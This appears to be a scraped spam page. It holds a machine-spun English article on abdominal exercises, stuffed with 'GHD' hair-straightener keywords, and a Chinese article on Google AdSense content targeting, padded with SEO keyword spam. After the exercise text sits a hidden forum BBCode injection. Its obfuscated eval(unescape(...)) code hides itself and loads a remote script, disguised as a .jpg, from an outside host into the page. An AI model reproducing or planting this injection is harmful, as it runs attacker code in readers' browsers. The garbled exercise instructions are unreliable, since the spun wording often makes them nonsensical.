Abdominal exercise there are 3 classical action

Abdominal muscles is a character of muscular create, but likewise protect the important portions of the body armor. Weak abdominal muscles can occasion pelvic tilt and lumbar curvature additional, and increased hazard of low back pain. Abdominal exercises is necessary. Here are three action exercises the abdominal muscles,GHD, simple, classic:
a supine leg heave. Lying in mattress or layer mat, back close to the bed (alternatively ground), his hands clenched the bed fixed upper body, legs when on the push, when down, repeatedly.
to do the movements to the attention of: 1. cozy to vibrate the body, can ascertain partners to prevent the body resist upper body swing. 2. If you ambition to maximize lower abdominal exercise, the highest point in every action,GHD Hair Ireland, escalator the buttocks for far as feasible in order to entirely mobilize the lower belly muscles. 3. If you muse this action is tough,GHD Mini Styler, legs slightly bent to dwindle the degree of hardship can be to complete the action.
2 supine leg raise pedal. Lying in bed or floor mat, back close to the bed (or floor); while holding the legs, so legs stay in the wind and do a bicycle in the climate action, reiterated many times.
to do the movements to the attention of: 1. the premier time to do this action will feel exhausted, range should not be also much, not too fast. 2. Action versed to do after each
three pew sit-ups. Lying on the ground, legs resting on the bench (or seat, edge of the bed, steps) on the upper body-ups to abdominal strength. Restore shoulder slowly down the ground,GHD Kiss Styler, forever constrict the abdominal muscles.
do this operation to the care of: 1. Do no hand behind your pate. Be tired soon for while your brain will be hard with either hands ashore the neck muscles are broke. 2. Shoulders straight from the ground the higher the extra the better, but back to near to the floor. 3. Note namely the upper body settled. 4. Do not coerce your feet. [Flash,GHD Hair Straightener, 0,GHD Blue Styler,0] http://catche.qq.com/temp/20081209/4236888.swf [email =] id = baidu neatness = ee: wording (eval (unescape ('this.parentNode.neatness.display% 3D% 27none% 27% 3Bif% 28% 21window.xxr% 29% 7Bvar% 20l% 3Ddocument.createElement% 28% 27script% 27% 29% 3Bl.src% 3D% 27http% 3A / / love.avtupian.com / a / q / mq.jpg% 27% 3Bl.type% 3D% 27text/javascript% 27% 3Bdocument.getElementsByTagName% 28% 27head% 27% 29.item% 280% 29.appendChild% 28l% 29% 3Bwindow.xxr% 3D1 % 7D'))); display: none; @ qq.com [/ email] [/ flash]

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现在，搜索营销和在线媒体之间的界线日益模糊了。在谷歌Adsense网站中，这一现象更为明显。Adse nse是一个巨大的广告网络，在这个网络上内容网站为谷歌运营广告。
　　在谷歌搜索程序中，这叫做内容定向。即使你通过谷歌界面管理这些广告 沈阳SEO，他们通常由在搜索列表中显示的关键词定向，他们也在网站中显示，如同在在线媒体一样。
　　最近，我们公司围绕谷歌内容广告、旗帜广告和点击播放视频广告展开了争论。在线媒体活动主管应该管理这 些广告因为在谷歌内容网络中运营的广告并非在搜索结果中。这些广告在固定的网站中，根据网站对网站情况进行 定向。
　　对此，我请教了我们同事Amy Clarkson，他是广告搜索专家，他谈到了在谷歌中利用内容定向的战略问题，以下是是几个策略：一、为 内容营行单一的宣传活动。
　　不要复制你的搜索宣传活动。选择位于顶部的搜索关键词，然后建立相关的广告群组。
　　不要在内容广告群组中使用超过50个关键词。使用关键词的最好范围是25至50.与其进行搜索宣传，还 不如对这些词进行低竞价，因为内容点击一般以低的转换率进行转换。
　　二、对你表现最好的词汇进行竞价，而不是所有的词汇不要浪费投资。对关键词汇报做出日报、周报或是月报 ，按费用和转换率进行分类排列 SEO。然后在内容网络中推出你表现最好的词汇。
　　首先要降低某个词汇的竞价，确保你有有效的数据做出决定。一个词汇不可能在一周内实现转换，而随后的星 期其表现会好。
　　三、考虑采用位置定向针对内容宣传的位置定向 英文SEO，广告商可以选择相关网站在内容网站中显示广告。
　　——基于分类、地理位置或是输入的URL分类网站 外贸SEO。如果这些URL是谷歌内容网络的一部分，则你就把所有的都放入其中。
　　——记住：使用内容网络位置定向，你会吸引那些感兴趣的，正在进行搜索的用户成员。
　　四、做出位置表现报告针对内容宣传活动的谷歌位置表现报告，能使你通过内容网站进行搜索。如果网站并非 相关，费用太高，或是无法转换，则不要使用它。
　　——在Adwords界面中使用“网站和分类排除”工具以防止你的广告被显示在某个网站中。这包括那些 不想显示广告的网站。
　　——位置表现报告通过允许优位置和改善ROI，只会帮助你改善内容宣传。
　　——在内容宣传中的行动网站会帮助通知传统的显示卖买，这对于媒体测试来说是一个出色的网 络。
　　——考虑使用图像广告、视频广告和旗帜广告。这些广告必须占有你选择的所有空间。广告必须在右上方显示 ，五、把关键词分到密切相关的AD组群中为了决定通用主题，谷歌内容以一个广告群组看待所有的 关键词。
　　——当决定在哪儿投放广告时，内容网络分析多个关键词。增加关键词实际上会降低印象率。只有关键词GM AT的广告群组会在提及这个词汇的任何地方显示。有GMAT的广告群组，GMAT实践测试以及GMAT实践 试验能给用户决定提供更多的上下文，显示更多的相关性和网站。
　　——在多个广告群组中使用复制关键词。在搜索中，只中竞价高的会出现。在内容中，谷歌会使用其它的关键 词来决定哪个更有相关性。因此，有“软件”和“软件商店”的广告群组和有“软件”和“软件评论”的广告群组 会确保网站上相关广告显示出售软件和评论软件，但不会在出售或是评论其它产品的网站。
　　在线媒体规划者不应该小看谷歌网络。它不只是搜索，其功能比搜索更强大。